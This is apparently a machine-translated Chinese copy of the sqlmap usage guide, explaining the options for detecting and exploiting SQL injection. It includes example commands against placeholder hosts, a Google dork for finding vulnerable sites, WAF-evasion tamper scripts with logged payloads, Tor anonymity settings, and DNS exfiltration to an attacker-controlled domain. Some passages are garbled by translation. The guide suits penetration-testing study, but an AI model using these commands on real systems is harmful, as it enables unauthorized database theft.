0x01 sqlmap简介
sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。
提示:sqlmap最好使用1.13版本,本人亲测。
0x02 sqlmap用法
转自: https://github.com/sqlmapproject/sqlmap/wiki/Usage
输出详细程度
选项: -v
此选项可用于设置输出消息的详细程度。存在7冗长的水平。默认级别为1,其中显示信息,警告,错误,严重消息和Python回溯(如果发生)。
- 0:仅显示Python追溯,错误和严重消息。
- 1:还显示信息和警告消息。
- 2:还显示调试消息。
- 3:还显示注入的有效载荷。
- 4:还显示HTTP请求。
- 5:还显示HTTP响应的标头。
- 6:还显示HTTP响应的页面内容。
进一步了解sqlmap的功能的合理详细程度是2级,主要用于检测阶段和接管功能。如果您想查看工具发送的SQL有效负载,则3级级别是您的最佳选择。当您向开发人员提供潜在的错误报告时,也建议使用此级别,请确保将标准选项发送的流量日志文件发送给标准输出-t
。为了进一步调试潜在的错误或意外行为,我们建议您将详细程度设置为4级或更高。应该注意的是,也可以通过使用此选项的较短版本来设置详细程度,其中字母的数量v
提供的开关(而不是选项)内部确定详细程度(例如,-v
代替-v 2
,-vv
代替-v 3
,-vvv
代替-v 4
,等等)
目标
已提供这些选项中的至少一个来设置目标。
直接连接到数据库
选项: -d
针对单个数据库实例运行sqlmap。此选项接受以下形式之一的连接字符串:
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
(MySQL,Oracle,Microsoft SQL Server,PostgreSQL等)DBMS://DATABASE_FILEPATH
(SQLite,Microsoft Access,Firebird等)
例如:
$ python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann\
er --dbs --users
目标网址
选项:-u
或--url
针对单个目标URL运行sqlmap。此选项需要以下格式的目标URL:
http(s)://targeturl[:port]/[...]
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\
-users
从Burp或WebScarab代理日志中解析目标
选项: -l
除了提供单个目标URL外,还可以针对通过Burp代理或 WebScarab代理代理的 HTTP请求进行测试和注入。此选项需要一个参数,该参数是代理的HTTP请求日志文件。
从远程Sitemap(.xml)文件解析目标
选项: -x
站点地图是一个文件,网络管理员可以在其中列出其站点的网页位置,以告知搜索引擎该站点内容的组织。您可以使用选项-x
(例如-x http://www.target.com/sitemap.xml
)将站点地图的位置提供给sqlmap,以便它可以找到可用的目标URL进行扫描。
扫描给定文本文件中列出的多个目标
选项: -m
提供给定批量文件中列出的目标URL的列表,sqlmap将逐个扫描每个URL。
作为此选项的参数提供的批量文件的样本内容:
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
从文件加载HTTP请求
选项: -r
sqlmap的可能性之一是从文本文件加载原始HTTP请求。这样,您可以跳过许多其他选项的使用(例如,设置Cookie,发布数据等)。
作为此选项的参数提供的HTTP请求文件的样本内容:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
请注意,如果请求是通过HTTPS进行的,则可以将此请求与switch结合使用,--force-ssl
以强制SSL连接到443 / tcp。或者,您可以将其附加:443
到Host
标题值的末尾。
将Google dork结果作为目标地址进行处理
选项: -g
也可以根据您的Google问题的结果测试并注入GET参数。
此选项使sqlmap与搜索引擎协商其会话cookie以便能够执行搜索,然后sqlmap将使用GET参数检索Google dork表达式的Google前100个结果,询问您是否要测试并在每个可能的受影响URL上进行注入。
例如:
$ python sqlmap.py -g "inurl:\".php?id=1\""
从配置INI文件加载选项
选项: -c
可以从配置INI文件传递用户的选项,例如sqlmap.conf
。
请注意,如果您从命令行提供其他选项,则在运行sqlmap时会评估这些选项并覆盖配置文件中提供的选项。
请求
这些选项可用于指定如何连接到目标URL。
HTTP方法
选项: --method
sqlmap自动检测将在HTTP请求中使用的正确HTTP方法。但是,在某些情况下,需要强制使用PUT
自动机未使用的特定HTTP方法(例如)。使用此选项(例如--method=PUT
)是可能的。
HTTP数据
选项: --data
默认情况下,用于执行HTTP请求的HTTP方法是GET,但是您可以通过提供要在POST请求中发送的数据,将其隐式更改为POST。这些数据(即那些参数)将针对SQL注入以及任何提供的GET参数进行测试。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\
r --dbs --users
参数分割符
选项: --param-del
在某些情况下,&
需要覆盖默认参数定界符(例如,GET和POST数据中的参数),以使sqlmap能够正确拆分和分别处理每个参数。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\
1" --param-del=";" -f --banner --dbs --users
HTTP Cookie
头
选项和开关:--cookie
,--cookie-del
,--load-cookies
和--drop-set-cookie
这些选项和开关可以在两种情况下使用:
- 该Web应用程序需要基于cookie进行身份验证,并且您拥有此类数据。
- 您想要检测和利用此类标头值的SQL注入。
不论哪种原因,您都需要发送带有sqlmap请求的cookie,要执行的步骤如下:
- 使用您喜欢的浏览器登录到应用程序。
- 从浏览器的首选项或HTTP代理屏幕中获取HTTP Cookie,然后将其复制到剪贴板。
- 返回您的Shell并通过将剪贴板粘贴为option的值来运行sqlmap
--cookie
。
注意,HTTP Cookie
标头值通常是由分离的;
字符,不通过&
。sqlmap也可以将它们识别为单独的集合parameter=value
,以及GET和POST参数。如果分隔符不是分隔符,则;
可以使用option指定--cookie-del
。
如果在通信过程中的任何时间,Web应用程序都响应Set-Cookie
标头,则sqlmap将自动在所有其他HTTP请求中将其值用作Cookie
标头。sqlmap还将自动测试这些值以进行SQL注入。可以通过提供开关来避免这种情况--drop-set-cookie
-sqlmap将忽略任何即将到来的Set-Cookie
标头。
反之亦然,如果您提供Cookie
带有选项的HTTP 标头,--cookie
并且目标URL Set-Cookie
随时发送HTTP 标头,则sqlmap会询问您用于以下HTTP请求的cookie组。
还有一个选项--load-cookies
可用于提供包含Netscape / wget格式的cookie的特殊文件。
请注意,如果将HTTP Cookie
标头--level
设置为2或更高,则还将针对SQL注入测试HTTP 标头。请阅读下面的详细信息。
HTTP User-Agent
头
选项和开关:--user-agent
和--random-agent
默认情况下,sqlmap使用以下User-Agent
标头值执行HTTP请求:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
但是,可以--user-agent
通过提供自定义User-Agent作为选项的参数来伪造该选项。
此外,通过设置开关--random-agent
,SqlMap的将随机选择一个User-Agent
从./txt/user-agents.txt
文本文件,并使用它的会话中的所有HTTP请求。
某些站点执行服务器端对HTTP User-Agent
标头值的检查,如果User-Agent
未提供有效值,该值不是预期值或Web应用程序防火墙或类似的入侵防御系统将其列入黑名单,则HTTP响应将失败。在这种情况下,sqlmap将向您显示一条消息,如下所示:
[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to
force the HTTP User-Agent header with option --user-agent or --random-agent
请注意,User-Agent
如果--level
设置为3或更高,还将针对SQL注入测试HTTP 标头。请阅读下面的详细信息。
HTTP Host
头
选项: --host
您可以手动设置HTTP Host
标头值。默认情况下,HTTP Host
标头是从提供的目标URL解析的。
请注意,如果将HTTP Host
标头--level
设置为5,还将针对SQL注入测试HTTP 标头。请阅读下面的详细信息。
HTTP Referer
头
选项: --referer
可以伪造HTTP Referer
标头值。默认情况下,没有 HTTP Referer
标头在HTTP请求发送,如果没有明确设定。
请注意,Referer
如果--level
设置为3或更高,还将针对SQL注入测试HTTP 标头。请阅读下面的详细信息。
额外的HTTP标头
选项: --headers
通过设置option可以提供额外的HTTP标头--headers
。每个标头必须用换行符分隔,从配置INI文件中提供标头要容易得多。您可以查看sqlmap.conf
这种情况的样本文件。
HTTP协议认证
选项:--auth-type
和--auth-cred
这些选项可用于指定实现哪个HTTP协议身份验证后端Web服务器以及将用于执行对目标应用程序的所有HTTP请求的有效凭据。
支持的三种HTTP协议身份验证机制是:
Basic
Digest
NTLM
凭据的语法为username:password
。
有效语法示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\
=1" --auth-type Basic --auth-cred "testuser:testpass"
HTTP协议私钥认证
选项: --auth-file
如果Web服务器需要适当的客户端证书和用于身份验证的私钥,则应使用此选项。提供的值应为key_file
包含您的证书和私钥的PEM格式。
key_file.txt
与兼容的生成示例--auth-file
:
忽略(有问题的)HTTP错误代码
选项 --ignore-code
如果您想测试偶尔返回HTTP错误代码(导致常规sqlmap运行引起问题)的网站(例如401(未经授权)),而您想忽略它并继续进行测试,则可以使用option --ignore-code
HTTP(S)代理
选项和开关:--proxy
,--proxy-cred
,--proxy-file
和--ignore-proxy
可以提供HTTP(S)代理地址,并通过option将HTTP(S)请求传递到目标URL --proxy
。HTTP(S)代理值的语法为http://url:port
。
如果HTTP(S)代理需要身份验证,则可以将格式的凭据提供username:password
给option --proxy-cred
。
如果您要使用(一次性)代理列表,在出现任何连接问题(例如,侵入性IP地址--proxy-file
被阻止)时跳到下一个代理,可以通过提供包含大量代理列表的文件的文件名来使用该选项。
开关--ignore-proxy
,当你想要忽略一套全系统HTTP(S)代理服务器设置进行针对局域网的目标部分的SqlMap应该被使用。
Tor匿名网络
开关和选项:--tor
,--tor-port
,--tor-type
和--check-tor
如果出于任何原因需要保持匿名,而不是通过单个预定义的HTTP(S)代理服务器进行传递,则可以按照Tor安装指南中的说明在计算机上配置Tor客户端和Privoxy(或类似产品)。然后可以使用开关,并且sqlmap将尝试自动设置Tor代理连接设置。--tor
如果要手动设置使用的Tor代理的类型和端口,则可以使用选项--tor-type
和--tor-port
(例如--tor-type=SOCKS5 --tor-port 9050
)来完成。
强烈建议您--check-tor
偶尔使用以确保一切设置正确。在某些情况下,Tor捆绑包(例如Vidalia)配置错误(或重置先前设置的配置)会给您一种匿名的错误感觉。使用此开关,sqlmap将通过向官员发送单个请求来检查一切是否正常,您是否正在使用Tor?在任何目标请求之前的页面。万一检查失败,sqlmap将警告您并突然退出。
每个HTTP请求之间的延迟
选项: --delay
可以指定每个HTTP(S)请求之间保留的秒数。有效值为浮点型,例如0.5
半秒。默认情况下,不设置延迟。
超时连接之前等待的秒数
选项: --timeout
在考虑HTTP(S)请求超时之前,可以指定等待的秒数。有效值为浮点数,例如10.5表示十秒半。默认情况下,设置为30秒。
HTTP连接超时时的最大重试次数
选项: --retries
HTTP(S)连接超时时,可以指定最大重试次数。默认情况下,它最多重试3次。
随机更改给定参数的值
选项: --randomize
可以指定要在每个请求期间随机更改其值的参数名称。长度和类型将根据提供的原始值保留。
使用正则表达式从提供的代理日志中过滤目标
选项: --scope
-l
您可以使用有效的Python正则表达式指定用于过滤所需主机的正则表达式,而不是使用从提供的日志中解析的所有主机(带有option)。
有效语法示例:
$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
避免过多的请求失败后会话被破坏
选项:--safe-url
,--safe-post
,--safe-req
和--safe-freq
有时,如果执行一定数量的不成功请求,则介于两者之间的Web应用程序或检查技术会破坏会话。这可能在sqlmap的检测阶段或利用任何一种盲目SQL注入类型时发生。原因是SQL有效负载不一定返回输出,因此可能向应用程序会话管理或检查技术发出信号。
要绕过目标设置的限制,您可以提供以下任何选项(或组合使用):
--safe-url
:测试期间经常访问的URL地址。--safe-post
:HTTP POST数据发送到给定的安全URL地址。--safe-req
:从文件加载并使用安全的HTTP请求。--safe-freq
:测试两次访问给定安全位置之间的请求。
这样,sqlmap将在每个预定义数量的请求中访问某个安全 URL,而无需对其进行任何类型的注入。
关闭参数值的URL编码
开关: --skip-urlencode
根据参数位置(例如GET),其值默认情况下可以是URL编码。在某些情况下,后端Web服务器不遵循RFC标准,并要求值以其原始非编码形式发送。使用--skip-urlencode
这些类型的案件。
绕过反CSRF保护
选项:--csrf-token
和--csrf-url
许多站点都以令牌,每个页面响应期间随机设置的隐藏字段值的形式结合了反CSRF保护。SqlMap的会自动尝试识别并绕过这种保护,但也有选项--csrf-token
,并--csrf-url
可以用来进一步微调它。选项--csrf-token
可用于设置包含随机标记的隐藏值的名称。在网站为此类字段使用非标准名称的情况下,这很有用。选项--csrf-url
可用于从任意URL地址检索令牌值。如果易受攻击的目标URL最初不包含必要的令牌值,但需要从其他位置提取该令牌值,则此功能很有用。
强制使用SSL / HTTPS
开关: --force-ssl
如果用户想要向目标强制使用SSL / HTTPS请求,则可以使用此开关。在使用option收集URL --crawl
或为option提供Burp日志的情况下,这很有用-l
。
在每个请求期间评估自定义python代码
选项: --eval
如果用户想更改(或添加新的)参数值(最有可能是由于某些已知的依赖性),则他可以向sqlmap提供带有选项的自定义python代码,--eval
该代码将在每次请求之前进行评估。
例如:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
20dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
这种运行的每个请求都将重新评估GET参数的值,hash
以包含一个新的MD5哈希摘要作为parameter的当前值id
。
优化
这些开关可用于优化sqlmap的性能。
捆绑优化
开关: -o
此开关是一个别名,它隐式设置以下选项和开关:
--keep-alive
--null-connection
--threads=3
如果未设置为更高的值。
请阅读以下有关每个开关的详细信息。
输出预测
开关: --predict-output
此开关在推理算法中用于对要检索的值的字符进行顺序统计预测。根据给定的项目并txt/common-outputs.txt
结合当前使用的枚举知识,构建具有最有希望的字符值的统计表。如果可以在通用输出值中找到该值,则随着过程的进行,后续字符表的范围将越来越窄。如果与常见DBMS实体的检索(如系统表名称和特权)结合使用,则速度显着提高。当然,例如,如果您注意到数据库表名称或类似名称中的公共模式,则可以根据需要编辑公共输出文件。
请注意,此开关与--threads
开关不兼容。
HTTP保持活动
开关: --keep-alive
此开关指示sqlmap使用持久HTTP连接。
请注意,此开关与--proxy
开关不兼容。
HTTP NULL连接
开关: --null-connection
有特殊的HTTP请求类型,可用于获取HTTP响应的大小而无需获取HTTP正文。这种知识可以在盲目注射技术被用来区分True
来自False
响应。提供此开关后,sqlmap将尝试测试和利用两种不同的NULL连接技术:Range
和HEAD
。如果目标Web服务器支持其中任何一种,则可以明显节省已使用的带宽,从而提高速度。
白皮书《SQL盲注入中的性能提升-占用2(带宽)》中详细介绍了这些技术。
请注意,此开关与switch不兼容--text-only
。
并发HTTP(S)请求
选项: --threads
可以指定允许sqlmap执行的并发HTTP(S)请求的最大数量。此功能依赖于多线程概念,并继承了它的优点和缺点。
此功能适用于蛮力开关以及通过任何一种盲目SQL注入技术完成数据提取的情况。对于后一种情况,sqlmap首先在单线程中计算查询输出的长度,然后启动多线程。每个线程都被分配为检索查询输出的一个字符。检索到该字符后,线程结束-使用sqlmap中实现的二等分算法,最多需要7个HTTP(S)请求。
出于性能和站点可靠性的原因,并发请求的最大数量设置为10。
请注意,此选项与switch不兼容--predict-output
。
注射
这些选项可用于指定要测试的参数,提供自定义注入有效负载和可选的篡改脚本。
可测试的参数
选项:-p
,--skip
和--param-exclude
默认情况下,sqlmap测试所有GET参数和POST参数。当的值--level
> = 2时,它还会测试HTTP Cookie
标头值。当此值> = 3时,它还会测试SQL注入的HTTP User-Agent
和HTTP Referer
标头值。但是,可以手动指定要sqlmap测试的参数的逗号分隔列表。这也将绕过对价值的依赖--level
。
例如,要测试GET参数id
和User-Agent
仅HTTP ,请提供-p "id,user-agent"
。
如果用户希望从测试中排除某些参数,则可以使用option --skip
。当您要使用更高的值--level
并测试所有可用参数(不包括通常要测试的某些HTTP标头)时,这特别有用。
例如,跳过测试对于HTTP标头User-Agent
和HTTP头Referer
在--level=5
,提供--skip="user-agent,referer"
。
也有可能基于基于某些参数的名称的正则表达式从测试中排除某些参数。在这种情况下,用户可以使用option --param-exclude
。
例如,要跳过对包含字符串token
或其session
名称的参数的测试,请提供--param-exclude="token|session"
。
URI注入点
在特殊情况下,注入点位于URI本身内。除非手动指出,否则sqlmap不会对URI路径执行任何自动测试。您必须在命令行中通过在希望sqlmap测试和利用SQL注入的每个URI点之后附加一个星号(*
)(注意:%INJECT HERE%
还支持Havij样式)来指定这些注入点。
例如,当使用Apache Web服务器的mod_rewrite模块或其他类似技术时,此功能特别有用。
有效命令行的示例为:
$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
任意注入点
与URI注入点类似,星号(*
)(注意:%INJECT HERE%
还支持Havij样式)也可以用于指向GET,POST或HTTP标头中的任意注入点。注射点可以通过标记它的GET参数值内(一个或多个)提供有选项来指定-u
,POST参数值(一个或多个)提供选项--data
,HTTP标头中提供的选项值(S) ,-H
,,--headers
和/或,或在通用处内部HTTP请求从文件加载的选项。--user-agent
--referer
--cookie
-r
有效命令行的示例为:
$ python sqlmap.py -u "http://targeturl" --cookie="param1=value1*;param2=value2"
强制DBMS
选项: --dbms
默认情况下,sqlmap自动检测Web应用程序的后端数据库管理系统。sqlmap完全支持以下数据库管理系统:
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL服务器
- Microsoft Access
- IBM DB2
- SQLite的
- 火鸟
- Sybase公司
- SAP最大数据库
- 数据库
- Informix
如果在识别到SQL注入后sqlmap由于某种原因无法检测到后端DBMS,或者如果您想要避免活动的指纹,则可以自己提供后端DBMS的名称(例如postgresql
)。对于MySQL和Microsoft SQL Server分别提供了他们在形式MySQL <version>
和Microsoft SQL Server <version>
,其中 <version>
是数据库管理系统的有效版本; 例如5.0
MySQL和2005
Microsoft SQL Server。
如果--fingerprint
与一起提供--dbms
,则sqlmap仅会对指定的数据库管理系统执行扩展指纹,请阅读以下内容以获取更多详细信息。
请注意,此选项不是强制性的,强烈建议仅在绝对确定后端数据库管理系统时使用此选项。如果您不知道,请让sqlmap为您自动为其指纹。
强制数据库管理系统的操作系统名称
选项: --os
默认情况下,当此信息依赖于任何其他提供的开关或选项时,sqlmap会自动检测Web应用程序的后端数据库管理系统基础操作系统。目前,完全支持的操作系统是:
- 的Linux
- 视窗
如果您已经知道操作系统名称,则可以强制使用它,这样sqlmap就可以避免这样做。
请注意,此选项不是强制性的,强烈建议仅在绝对确定有关后端数据库管理系统底层操作系统的情况下使用此选项。如果您不知道它,请让sqlmap自动为您识别它。
强制使用大数字来使值无效
开关: --invalid-bignum
在sqlmap需要使原始参数值(例如id=13
)无效的情况下,它将使用经典取反(例如id=-13
)。使用此开关,可以强制使用大整数值来实现相同的目标(例如id=99999999
)。
强制使用逻辑运算来使值无效
开关: --invalid-logical
在sqlmap需要使原始参数值(例如id=13
)无效的情况下,它将使用经典取反(例如id=-13
)。通过此开关,可以强制使用布尔运算来实现相同的目标(例如id=13 AND 18=19
)。
强制使用随机字符串来使值无效
开关: --invalid-string
在sqlmap需要使原始参数值(例如id=13
)无效的情况下,它将使用经典取反(例如id=-13
)。通过此开关,可以强制使用随机字符串来实现相同的目标(例如id=akewmc
)。
关闭有效载荷投放机制
开关: --no-cast
检索结果时,sqlmap使用一种机制,其中所有条目都强制转换为字符串类型,并在有NULL
值的情况下替换为空格字符。这样做是为了防止出现任何错误状态(例如,NULL
值与字符串值的连接)并简化数据检索过程本身。但是,在某些情况下(例如,MySQL DBMS的较旧版本),由于数据检索本身存在问题(例如None
,返回了值),因此需要关闭(使用此开关)此机制。
关闭字符串转义机制
开关: --no-escape
在sqlmap需要在有效负载(例如SELECT 'foobar'
)中使用(单引号分隔)字符串值的情况下,这些值会自动转义(例如SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114)
)。之所以这样做,是因为有两件事:混淆有效内容,并防止后端服务器上的查询转义机制(例如magic_quotes
和/或mysql_real_escape_string
)出现潜在问题。用户可以使用此开关将其关闭(例如,以减小有效负载大小)。
定制注入有效载荷
选项:--prefix
和--suffix
在某些情况下,仅当用户提供要添加到注入有效负载的特定后缀时,漏洞参数才可利用。当用户已经知道查询语法并想通过直接提供注入有效载荷前缀和后缀来检测和利用SQL注入时,这些选项很方便出现的另一种情况就会出现。
易受攻击的源代码示例:
$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
若要检测和利用此SQL注入,可以让sqlmap 在检测阶段为您检测边界(如SQL有效负载前缀和后缀的组合),也可以自行提供。
例如:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php\
?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]
这将导致所有sqlmap请求最终以如下查询结束:
$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
这使得查询在语法上正确。
在这个简单的示例中,sqlmap可以检测SQL注入并加以利用而无需提供自定义边界,但是有时在现实世界的应用程序中,有必要在注入点位于嵌套JOIN
查询内时提供它。
篡改注入数据
选项: --tamper
sqlmap本身不会混淆发送的有效负载,只是单引号之间的字符串由它们的CHAR()
-alike表示代替。
在您和后端数据库管理系统之间的输入验证机制较弱的情况下,此选项可能非常有用且功能强大。该机制通常是由应用程序源代码,昂贵的企业级IPS设备或Web应用程序防火墙(WAF)调用的自行开发的输入验证例程。所有定义相同概念的流行语都以不同的方式实现,并且通常要花费很多钱。
要利用此选项,请为sqlmap提供一个以逗号分隔的篡改脚本列表,它将处理有效负载并将其转换为有效负载。您可以定义自己的篡改脚本,可以从tamper/
文件夹中使用sqlmap脚本,也可以对其进行编辑,只要将它们以逗号分隔作为选项值即可--tamper
(例如--tamper="between,randomcase"
)。
有效的篡改脚本的格式如下:
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
您可以在tamper/
目录中检查有效且可用的篡改脚本。
假设禁止>
字符,空格和大写SELECT
字符串的MySQL目标示例:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONC
AT(cHar(58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/
**/elsE/**/0/**/ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/info
rmation_schema.tables/**/group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or
HAVING clause' injectable
[...]
侦测
这些选项可用于自定义检测阶段。
水平
选项: --level
此选项需要一个参数,该参数指定要执行的测试级别。有五个级别。默认值是1,其中执行有限数量的测试(请求)。反之亦然,级别5将详细测试大量有效负载和边界(如在SQL有效负载前缀和后缀对中)。sqlmap使用的有效负载在文本文件中指定xml/payloads.xml
。按照文件顶部的说明进行操作,如果sqlmap错过了注入,则您也应该可以添加自己的有效负载进行测试!
此选项不仅会影响尝试使用哪些有效负载sqlmap,还会影响检查中采用的注入点:始终测试GET和POST参数,从2级测试HTTP cookie头值,并从2级测试HTTP User-Agent / Referer头的值3级。
总而言之,检测SQL注入越难,则--level
必须设置的越高。
强烈建议在向邮件列表报告sqlmap无法检测到某个注入点之前,提高此值。
风险
选项: --risk
此选项需要一个参数,该参数指定执行测试的风险。存在三个风险值。默认值为1,对于大多数SQL注入点而言,该值是无害的。风险值2将基于重查询时间的SQL注入的测试添加到默认级别,而值3也添加OR
基于SQL注入的测试。
在某些情况下,例如在UPDATE
语句中进行SQL注入,注入OR
基于负载的有效负载可能导致表中所有条目的更新,这肯定不是攻击者想要的。由于这个原因和其他原因,引入了该选项:用户可以控制要测试哪些有效负载,用户可以任意选择还使用潜在危险的负载。按照前面的选项,sqlmap使用的有效负载在文本文件中指定xml/payloads.xml
,您可以自由编辑和添加自己的有效负载。
页面比较
选项:--string
,--not-string
,--regexp
和--code
默认情况下,通过将注入的请求页面内容与原始未注入的页面内容进行比较,将True
查询与一个查询False
(基于布尔的盲SQL注入漏洞的粗略概念)区分开。这个概念并非总是可行,因为有时页面内容在每次刷新时都会更改,甚至不注入任何内容,例如,当页面具有计数器,动态广告横幅或动态呈现的HTML的任何其他部分时,不仅可能随时间变化结果是用户的输入。为了绕过此限制,sqlmap会努力识别响应正文的这些摘要并进行相应处理。有时,它可能会失败,这就是为什么用户可以提供一个字符串(--string
选项),这应该可以出现在原始页面上(尽管不是必需的),也可以出现在所有True注入的查询页面上,但不是 False 页面上。用户可以提供正则表达式(--regexp
选项)来代替静态字符串。或者,用户可以提供一个字符串(--not-string
选项),该字符串不出现在原始页面上,也不在所有True注入查询页面上,而是始终出现在False 页面上。
这样的数据对于用户来说很容易检索,只需尝试将无效值注入到受影响的参数中,然后手动将原始(未注入)页面内容与注入的错误页面内容进行比较。这样,区分将基于字符串存在或正则表达式匹配。
如果用户知道可以使用HTTP代码(例如for 和for )来完成一个True
查询与一个查询的区分,他可以将该信息提供给sqlmap(例如)。False
200
True
401
False
--code=200
开关:--text-only
和--titles
如果用户知道可以使用HTML标题(例如for 和for )来区分True
查询与查询,False
则可以使用switch启用基于标题的比较。Welcome
True
Forbidden
False
--titles
如果HTTP响应的正文中包含大量活动内容(例如脚本,嵌入等),则可以--text-only
仅针对其文本内容过滤页面(switch )。这样,在很多情况下,您可以自动调整检测引擎。
技术技巧
这些选项可用于调整特定SQL注入技术的测试。
SQL注入技术进行测试
选项: --technique
此选项可用于指定要测试的SQL注入类型。默认情况下,sqlmap测试其支持的所有类型/技术。
在某些情况下,您可能只想测试一种或几种特定类型的SQL注入思想,这就是该选项起作用的地方。
此选项需要一个参数。这种参数是一个通过的任何组合组成的字符串B
,E
,U
,S
,T
和Q
字符,其中每个字母代表一种不同的技术:
B
:基于布尔的盲注E
:基于错误U
:基于联合查询S
:堆叠查询T
:基于时间的盲注Q
:内联查询
例如,ES
如果您仅想测试和利用基于错误的查询和堆叠查询,则可以提供SQL注入类型。默认值为BEUSTQ
。
请注意S
,当您要访问文件系统,接管操作系统或访问Windows注册表配置单元时,字符串必须包含堆叠的查询技术字母。
延迟基于时间的盲SQL注入的DBMS响应的秒数
选项: --time-sec
通过提供--time-sec
选项后跟一个整数,可以设置秒数以延迟基于时间的盲SQL注入测试时的响应。默认情况下,它的值设置为5秒。
UNION查询SQL注入中的列数
选项: --union-cols
默认情况下,sqlmap使用1至10列测试UNION查询SQL注入技术。但是,通过提供更高的--level
值,该范围最多可以增加到50列。有关更多详细信息,请参见相关段落。
您可以通过为工具提供选项(--union-cols
后跟整数范围)来手动告诉sqlmap使用特定范围的列来测试这种类型的SQL注入。例如,12-16
意味着使用12到16列来测试UNION查询SQL注入。
用于测试UNION查询SQL注入的字符
选项: --union-char
默认情况下,sqlmap使用NULL
字符测试UNION查询SQL注入技术。但是,通过提供更高的--level
值,sqlmap还将使用随机数执行测试,因为在某些特殊情况下,UNION查询测试NULL
失败,而使用随机整数则成功。
您可以通过使用--union-char
带有所需字符值的选项(例如--union-char 123
)来手动告诉sqlmap使用特定字符测试这种类型的SQL注入。
在UNION查询SQL注入的FROM部分中使用的表
选项: --union-from
在某些UNION查询SQL注入情况下,需要在FROM
子句中强制使用有效且可访问的表名。例如,Microsoft Access要求使用此表。如果不提供一个UNION查询,则SQL注入将无法正确执行(例如--union-from=users
)。
DNS渗透攻击
选项: --dns-domain
DNS渗透SQL注入攻击在论文《SQL注入攻击中的DNS数据检索》中进行了描述,而在sqlmap内部实现的实现的介绍可以在使用sqlmap的DNS渗透幻灯片中找到。
如果用户正在控制注册为DNS域服务器(例如domain attacker.com
)的计算机,则可以使用此选项(例如--dns-domain attacker.com
)来开启此攻击。它起作用的前提条件是使用Administrator
特权(特权端口的使用53
)运行一个sqlmap,并且可以利用一种常规(盲)技术。攻击的唯一目的是在已识别至少一种技术(最好是基于时间的盲法)的情况下加快数据检索的过程。如果可以使用基于错误的盲查询或UNION查询技术,则默认情况下将跳过这些查询技术。
二阶攻击
选项:--second-url
和--second-req
二阶SQL注入攻击是一种攻击,其中一个脆弱页面中注入的有效负载的结果在另一页面(例如,帧)上显示(反映)。通常是由于用户在原始易受攻击页面上提供的输入的数据库存储而发生的。
您可以通过使用--second-order
带有URL地址的选项或--second-req
用于发送到显示结果的服务器的请求文件,手动告诉sqlmap测试这种类型的SQL注入。
指纹
广泛的数据库管理系统指纹
开关:-f
或--fingerprint
默认情况下,Web应用程序的后端数据库管理系统指纹由sqlmap自动处理。在检测阶段结束后,最终会提示用户选择进一步使用哪个易受攻击的参数,sqlmap对后端数据库管理系统进行指纹识别,并通过知道要使用的SQL语法,方言和查询继续进行注入在数据库体系结构范围内进行攻击。
如果对于任何实例,您都希望基于各种技术(例如特定的SQL方言和带内错误消息)执行广泛的数据库管理系统指纹,则可以提供switch --fingerprint
。sqlmap将执行更多的请求,并为确切的DBMS版本以及可能的操作系统,体系结构和补丁程序级别添加指纹。
如果您希望获得更准确的指纹结果,也可以提供-b
或开关--banner
。
列举
这些选项可用于枚举表中包含的后端数据库管理系统信息,结构和数据。此外,您可以运行自己的SQL语句。
检索全部
开关: --all
